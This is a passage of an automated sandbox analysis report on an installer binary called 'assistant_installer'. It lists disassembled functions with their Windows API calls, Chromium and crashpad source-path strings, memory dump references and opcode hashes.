                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5931D870B002195BDF107B68DC459BFB766FF84710F048029FD56A32C1DBB9699686D1
                                                                                                                                                                                                                Function 00845478 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 00845481
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ___except_validate_context_record
                                                                                                                                                                                                                • String ID: csm$csm
                                                                                                                                                                                                                • API String ID: 3493665558-3733052814
                                                                                                                                                                                                                • Opcode ID: b4cb557413b9fca5e4c3d3eaf44d2eab2c68f05f4d3013c8c382047807a23a1a
                                                                                                                                                                                                                • Instruction ID: ffb4966a77bf322b90dc7830e1f3ce41d8962c88b9f2ac17822b67d449ba0c6d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b4cb557413b9fca5e4c3d3eaf44d2eab2c68f05f4d3013c8c382047807a23a1a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9F31B1B2800A1CEBCF268F54CC449BEBB66FF48715B1A415AF8598D122C332CCA1DB91
                                                                                                                                                                                                                Function 00709210 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: __floor_pentium4
                                                                                                                                                                                                                • String ID: 3333$3333
                                                                                                                                                                                                                • API String ID: 4168288129-1524365199
                                                                                                                                                                                                                • Opcode ID: 996168a2bf475b12922ff3667616392a6b1ddd8ea0088f2a735174a0fbbef1cf
                                                                                                                                                                                                                • Instruction ID: feb55cf7c410911b560d73277da0b7f5d5481c3b2e01dfdfe84a4f4c9b4a6e33
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 996168a2bf475b12922ff3667616392a6b1ddd8ea0088f2a735174a0fbbef1cf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 92215B32B146088BC715A93DC84616EF3E6AFD6350718CB2AE546E32C2FB3994C58A41
                                                                                                                                                                                                                Function 006FF7F2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: __floor_pentium4
                                                                                                                                                                                                                • String ID: 3333$3333
                                                                                                                                                                                                                • API String ID: 4168288129-1524365199
                                                                                                                                                                                                                • Opcode ID: 996168a2bf475b12922ff3667616392a6b1ddd8ea0088f2a735174a0fbbef1cf
                                                                                                                                                                                                                • Instruction ID: e5bb002240e639a8e1e52ac99b8df05d797f21af73617f6af42347a36514fbb1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 996168a2bf475b12922ff3667616392a6b1ddd8ea0088f2a735174a0fbbef1cf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FA214772B1460C4BCB05EB3DC88223EF3E6AF96390719CB3AE556E7241EB35D4D18642
                                                                                                                                                                                                                Function 00753040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 007530CF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$GetFileInfo
                                                                                                                                                                                                                • API String ID: 3188754299-477665002
                                                                                                                                                                                                                • Opcode ID: 0e9347cc773828e5d9b316b1b1e03a67c393e715516248d61e1ffe498bfa082c
                                                                                                                                                                                                                • Instruction ID: dc7a617e16aaad74038b957b24fc1decf8f0e221c03626313c063478872e1220
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0e9347cc773828e5d9b316b1b1e03a67c393e715516248d61e1ffe498bfa082c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2E31D072908B81ABD7119F28C84199BF7B4FFDA360F004B1DF9E456291EB74D685CB82
                                                                                                                                                                                                                Function 0070F470 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87synchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0070F492
                                                                                                                                                                                                                  • Part of subcall function 0070FADF: FormatMessageA.KERNEL32(00001200,00000000,?,00000409,?,00000100,00000000), ref: 0070FB23
                                                                                                                                                                                                                  • Part of subcall function 0070FADF: _strlen.LIBCMT ref: 0070FB47
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Unexpected result when waiting for elevated process: , xrefs: 0070F4EA
                                                                                                                                                                                                                • Failed wait for the elevated process: , xrefs: 0070F4C4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FormatMessageObjectSingleWait_strlen
                                                                                                                                                                                                                • String ID: Failed wait for the elevated process: $Unexpected result when waiting for elevated process:
                                                                                                                                                                                                                • API String ID: 2759725772-2013727604
                                                                                                                                                                                                                • Opcode ID: de35f61be64ceb595a1f16338ac97428362cb939102b5cac3821d6414f5bb7dc
                                                                                                                                                                                                                • Instruction ID: 6df91bef84acc698cc88931d45903bb3798740cd1c861ca71280b500d4c0e18f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: de35f61be64ceb595a1f16338ac97428362cb939102b5cac3821d6414f5bb7dc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EB313AB1904250EFD710AF28DC8591BFBE8FF81314F04826AF85A9B2A1D7349944C753
                                                                                                                                                                                                                Function 007EE690 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateWindowExW.USER32 ref: 007EE743
                                                                                                                                                                                                                  • Part of subcall function 007EE4D0: RegisterClassExW.USER32(00000030), ref: 007EE536
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Failed to create a message-only window, xrefs: 007EE784
                                                                                                                                                                                                                • ../../base/win/message_window.cc, xrefs: 007EE772
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ClassCreateRegisterWindow
                                                                                                                                                                                                                • String ID: ../../base/win/message_window.cc$Failed to create a message-only window
                                                                                                                                                                                                                • API String ID: 3469048531-3362469768
                                                                                                                                                                                                                • Opcode ID: 0f244891294fc7faeedd5a8357bf0f396d844da2cf986753ac1f0644b7d9fcb8
                                                                                                                                                                                                                • Instruction ID: 7e5034bbe06d66f1fbf1d1558e74c13ebd3210538494c30693f05c682f673834
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0f244891294fc7faeedd5a8357bf0f396d844da2cf986753ac1f0644b7d9fcb8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E3310970A003049BF310AF659C56B6EB7A5FF89724F408829F9589B383EB7899458773
                                                                                                                                                                                                                Function 007E8FDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 007E9002
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • GetFileAttributes , xrefs: 007E9061
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/filesystem_win.cc, xrefs: 007E904F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/filesystem_win.cc$GetFileAttributes
                                                                                                                                                                                                                • API String ID: 3188754299-264061613
                                                                                                                                                                                                                • Opcode ID: 110591eb8e1b98931ccadb0ddbd37cb7f9a0437399cc68f472d5a62d421fb92c
                                                                                                                                                                                                                • Instruction ID: 2b57b2c2215a6ec0219ef3835e7a1ad9b3f2be3d19c092a011c42a825b235d49
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 110591eb8e1b98931ccadb0ddbd37cb7f9a0437399cc68f472d5a62d421fb92c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AB216171901258AFFB10A755DC45FB97368EF05314F444064FA0CD7183E739AE48C761
                                                                                                                                                                                                                Function 007EA615 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CreateFile , xrefs: 007EA69C
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EA68A
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$CreateFile
                                                                                                                                                                                                                • API String ID: 823142352-2196637939
                                                                                                                                                                                                                • Opcode ID: 419b4153d98bc5a9d9d939233e56a14d0eb83122026514e66a097138ab12d756
                                                                                                                                                                                                                • Instruction ID: 6c0805a4a1bd9d831e7349f342be1f32bbd3e24cf17c519a5c50a911686c46c2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 419b4153d98bc5a9d9d939233e56a14d0eb83122026514e66a097138ab12d756
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1221EE70905264ABEF10BF24DC56FA9B774FF55310F0441A9F948AB282E7346E44CB62
                                                                                                                                                                                                                Function 007533C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0075344F
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/files/file_util_win.cc, xrefs: 0075340C
                                                                                                                                                                                                                • GetCurrentDirectoryW, xrefs: 00753411
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CurrentDirectory
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$GetCurrentDirectoryW
                                                                                                                                                                                                                • API String ID: 1611563598-109067590
                                                                                                                                                                                                                • Opcode ID: 0a22eb52975409df9b8727bf1327ff7918a5aa7a4d04bff6df40e96d02337f3d
                                                                                                                                                                                                                • Instruction ID: 88dd9dab1cb1b7c9c2194b35fbbff6d88558f88f036a349bfcd4468e89ecaabb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0a22eb52975409df9b8727bf1327ff7918a5aa7a4d04bff6df40e96d02337f3d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5D21E87161838497E710AB24DC8A9BFB3A4FFC5764F00072DF9D1562D2EBB85949C292
                                                                                                                                                                                                                Function 007EA927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LockFileEx.KERNEL32(00000000,8408C483,00000000,-00000001,-00000001,?), ref: 007EA96B
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EA998
                                                                                                                                                                                                                • LockFileEx, xrefs: 007EA9A8
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileLock
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$LockFileEx
                                                                                                                                                                                                                • API String ID: 3169042693-1251665049
                                                                                                                                                                                                                • Opcode ID: a34772c244a1af89ed334a7f0bb48538472d2a8851cd5e3a9f9d726b950c72cc
                                                                                                                                                                                                                • Instruction ID: d76594bc598b21be7efec6eb23bd2d30c99eaeb254b4951769fd16e334e476bf
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a34772c244a1af89ed334a7f0bb48538472d2a8851cd5e3a9f9d726b950c72cc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 74113A31A0035477F730AB298C06FEBB7ADEFC4710F018229FD495B282EB34A9048292
                                                                                                                                                                                                                Function 007B0760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63synchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 007B0802
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/synchronization/waitable_event_win.cc, xrefs: 007B07C5
                                                                                                                                                                                                                • Wait, xrefs: 007B07CA
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ObjectSingleWait
                                                                                                                                                                                                                • String ID: ../../base/synchronization/waitable_event_win.cc$Wait
                                                                                                                                                                                                                • API String ID: 24740636-241924016
                                                                                                                                                                                                                • Opcode ID: e672350dc6245afdd817cc131e9c9e83fec295adaf86d26a7e54141741bd19e1
                                                                                                                                                                                                                • Instruction ID: 2472a766fd8e36ae0635a3759fa96bd2f4e49002e9a0490997f626134ec39433
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e672350dc6245afdd817cc131e9c9e83fec295adaf86d26a7e54141741bd19e1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 92219D314083C19AE711DB28C80ABAFFB94AFD6324F544B1DF4D042192DBE89A89C7C3
                                                                                                                                                                                                                Function 007EA9DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • UnlockFileEx.KERNEL32(007B83D0,00000000,-00000001,-00000001,?), ref: 007EAA15
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EAA42
                                                                                                                                                                                                                • UnlockFileEx, xrefs: 007EAA52
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileUnlock
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$UnlockFileEx
                                                                                                                                                                                                                • API String ID: 45017762-3846138344
                                                                                                                                                                                                                • Opcode ID: 3f9fcd9af5f416ab17d83e9637453d10feb28f7e16fca1673debb6c411702202
                                                                                                                                                                                                                • Instruction ID: 4e6ba4e32adac87b064436f779feb3b9a8442fe3b77da98f9a6b078e04ede67b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3f9fcd9af5f416ab17d83e9637453d10feb28f7e16fca1673debb6c411702202
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 19114C71A00314A7F724AB259C0BFBBB75DEFC4760F00822DF9499B282EB70994482D2
                                                                                                                                                                                                                Function 00733280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,00000000,?,0Fy,?,00733264,007333E0,006F1730,00000000), ref: 00733294
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,00000001,?,0Fy,?,00733264,007333E0,006F1730,00000000), ref: 007332E9
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
